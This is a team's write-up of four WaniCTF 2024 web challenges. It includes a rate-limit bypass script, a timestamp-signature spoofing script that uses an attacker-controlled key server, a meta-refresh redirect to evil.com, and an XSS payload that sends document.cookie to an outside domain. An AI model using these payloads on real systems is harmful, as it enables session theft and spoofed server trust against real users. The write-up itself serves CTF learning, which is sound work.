Post

WANICTF2024 - Web Challenges

Solves of the 4 firsts Web challenges for WaniCTF

Here is our solutions for the 4 firsts web challenges of WaniCTF 2024.

Bad Worker

120pt Beginner (558 solves)

Not aware of the intended way of solving this one, i just browsed the site and the flag was there lol

image

FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}

Solved by Happi


pow

pow - 144pt Easy (243 solves)

Here’s the challenge front-end :

image

We presume that the goal is to reach progress: 1000000/1000000. However, it takes about 3 mins to get 1/1000000 so we’ll need to find our way to speed up the process.

After few time, the application issue the request bellow :

image

As you can see, it increased the progress. Can we replay this request 1000000 times to solve the challenge ?

However, after few tries, we got this response :

1
2
3
4
5
6
7
8
HTTP/2 429 Too Many Requests
Alt-Svc: h3=":443"; ma=2592000
Content-Type: text/plain; charset=utf-8
Date: Sun, 23 Jun 2024 09:44:10 GMT
Server: Caddy
Content-Length: 19

rate limit exceeded

There is a rate limit, but can we send more than 1 value in a single request ? Certainly : image

We build a simple python code to send 70000 values by request :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import urllib3
urllib3.disable_warnings()

cookies = {
    'pow_session': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiIwYmFhODJmMC05YzcxLTRiYjgtOTAxOC00YWFkNTYxOTc4YWMifQ.bK9BzZU_7VlVbiYLzMiRJsCjzKYoEx6pq-X-GWToTVU',
}

json_data = [
    '2862152',
] * 70000

for i in range(15):
  response = requests.post(
      'https://web-pow-lz56g6.wanictf.org/api/pow',
      cookies=cookies,
      json=json_data,
      verify=False,
      #proxies={"http":"0.0.0.0:8080", "https":"0.0.0.0:8080"}
  )

image

FLAG{N0nCE_reusE_i$_FUn}

Solved by Raza


One Day One Letter

194pt Normal (99 solves)

image

The goad is to spoof the date transmitted to the server. This way, we’ll be able to retrieve every letter of the flag.

Let’s see how the time check is performed from sources.

Time server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            timestamp = str(int(time.time())).encode('utf-8')
            h = SHA256.new(timestamp)
            signer = DSS.new(key, 'fips-186-3')
            signature = signer.sign(h)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()})
            self.wfile.write(res_body.encode('utf-8'))

The time server return the current time and sign this value with ECDSA algorithm using a key pair. He also provide its public key at /pubkey so the content-server can verify the signature.

Content server

The content server makes several actions :

  1. He retrieve the public key of the time server
  2. He verify the timestamp using the signature and the public key to ensure the timestamp’s integrity
  3. He give us the corresponding letter

First things we can see is that no checks is performed to verify the time-server URL :

1
2
3
4
5
def get_pubkey_of_timeserver(timeserver: str):
    req = Request(urljoin('https://' + timeserver, 'pubkey'))
    with urlopen(req) as res:
        key_text = res.read().decode('utf-8')
        return ECC.import_key(key_text)

Since we control the timeserver value, we can make it points to our controlled domain to provide the server our own public key.

Now, how can we exploit this ? Before we do, we need a short reminder about how a signature works.

Exploit

To ensure content integrity (ie: the timestamp value has not been modified by a third part), the server use a signature. It encrypt the SHA-256 value of the timestamp with its private key and expose its public key, so anyone can verify that he is the one that issued this timestamp.

To verify this, the end-user (or system) can just attempt to decrypt the content using the public key provided. If it succeed, then it means that the value has not been modified in the meantime. If not, it means that the value provided does not comes from the time-server.

Since we control the public key, we can encrypt a timestamp with our own private key to spoof the time server. Here is the flow of the attack :

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
import hashlib
import time
import requests
import re
import time

import urllib3
urllib3.disable_warnings()

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

print(pubkey)  # paste at http://attacker-server/pubkey

headers = {
  'Content-Type': 'application/json',
}

proxies = {
  "http": "0.0.0.0:8080",
  "https": "0.0.0.0:8080"
}

time.sleep(10)


def send_req(tstamp, signature):
  json_data = {
      'timestamp': tstamp,
      'signature': signature,
      'timeserver': 'happi.free.beeceptor.com',
  }
  response = requests.post(
      'https://web-one-day-one-letter-content-lz56g6.wanictf.org/',
      headers=headers,
      json=json_data,
      verify=False,
      proxies=proxies,
  )
  return response

def find_letter(html):
    pattern = r'FLAG{\?+([a-zA-Z]).*}'
    match = re.search(pattern, html) 
    
    if match:
        return match.group(1)
    else:
        return 1


if __name__ == "__main__":
    timestamp = int(time.time())
    flag = [0]*12

    for i in range(12):
      idx = timestamp // (60*60*24) % 12
      print(f"{timestamp} -> {idx}")

      # Convert timestamp to string and encode to bytes
      timestamp_bytes = str(timestamp).encode('utf-8')

      h = SHA256.new(timestamp_bytes)
      signer = DSS.new(key, 'fips-186-3')
      signature = signer.sign(h)

      r = send_req(timestamp_bytes.decode(), signature.hex())
      c = find_letter(r.content.decode())
      print(f"[+] {c} found at pos {idx}")
      flag[idx] = str(c)

      # Add one day from the timestamp
      timestamp += 60*60*24
      print(flag)
    
    print(''.join(flag))
    
# FLAG{lyingthetime}

Example of successful request : image

FLAG{lyingthetime}

Solved by Happi


Noscript

203pt Normal (88 solves)

image

image

We need to retrieve the admin’s cookie. Checking the code, we observe the following :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
	r.GET("/user/:id", func(c *gin.Context) {
		c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
		id := c.Param("id")
		re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
		if re.MatchString(id) {
			if val, ok := db.Get(id); ok {
				params := map[string]interface{}{
					"id":       id,
					"username": val[0],
					"profile":  template.HTML(val[1]),  // vulnerable to XSS
				}
				c.HTML(http.StatusOK, "user.html", params)
			} else {
				_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
			}
		} else {
			_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
		}
	})

“HTML encapsulates a known safe HTML document fragment. It should not be used for HTML from a third-party, or HTML with unclosed tags or comments. The outputs of a sound HTML sanitizer and a template escaped by this package are fine for use with HTML. Use of this type presents a security risk: the encapsulated content should come from a trusted source, as it will be included verbatim in the template output”

We try to inject XSS payload in the profile field, however, the CSP rules prevent from actually executing code : image

Still, it is possible to force the opening on another page using the <meta> tag with the attribute refresh using a payload like this :

1
<meta http-equiv="refresh" content="1; url=http://evil.com">

image

How can we actually leverage this to access the end-user cookies ? Let’s get back to the code to figure it out.

Exploit

We’ve missed it, but there is also an API endpoint /username:<id>:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
	// Get username API
	r.GET("/username/:id", func(c *gin.Context) {
		id := c.Param("id")
		re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
		if re.MatchString(id) {
			if val, ok := db.Get(id); ok {
				_, _ = c.Writer.WriteString(val[0])
			} else {
				_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
			}
		} else {
			_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
		}
	})

This API fetch the database content and return the username as-is :

1
2
			if val, ok := db.Get(id); ok {
				_, _ = c.Writer.WriteString(val[0])

Additionally, it does not implement any CSP ! Note that there is a bug in Gin making that the <img> tag (and various others) are not rendered as text/html but as text/plain. It is still possible to exploit various other tags (such as <script> or even <html><img>/</html>)

Let’s try to obtain a classical alert. We put the payload in the username and use the <meta> tag in profile to redirect the end-user to /username/<id> where the payload is actually reflected.

image

image

The XSS finally triggers ! All is left is to exfiltrate the cookie. We can use the payload bellow :

1
<script>location="https://<domain>.com/leak?flag=".concat(btoa(document.cookie))</script>

FLAG{n0scr1p4_c4n_be_d4nger0us}

Solved by Raza

This post is licensed under CC BY 4.0 by the author.

Trending Tags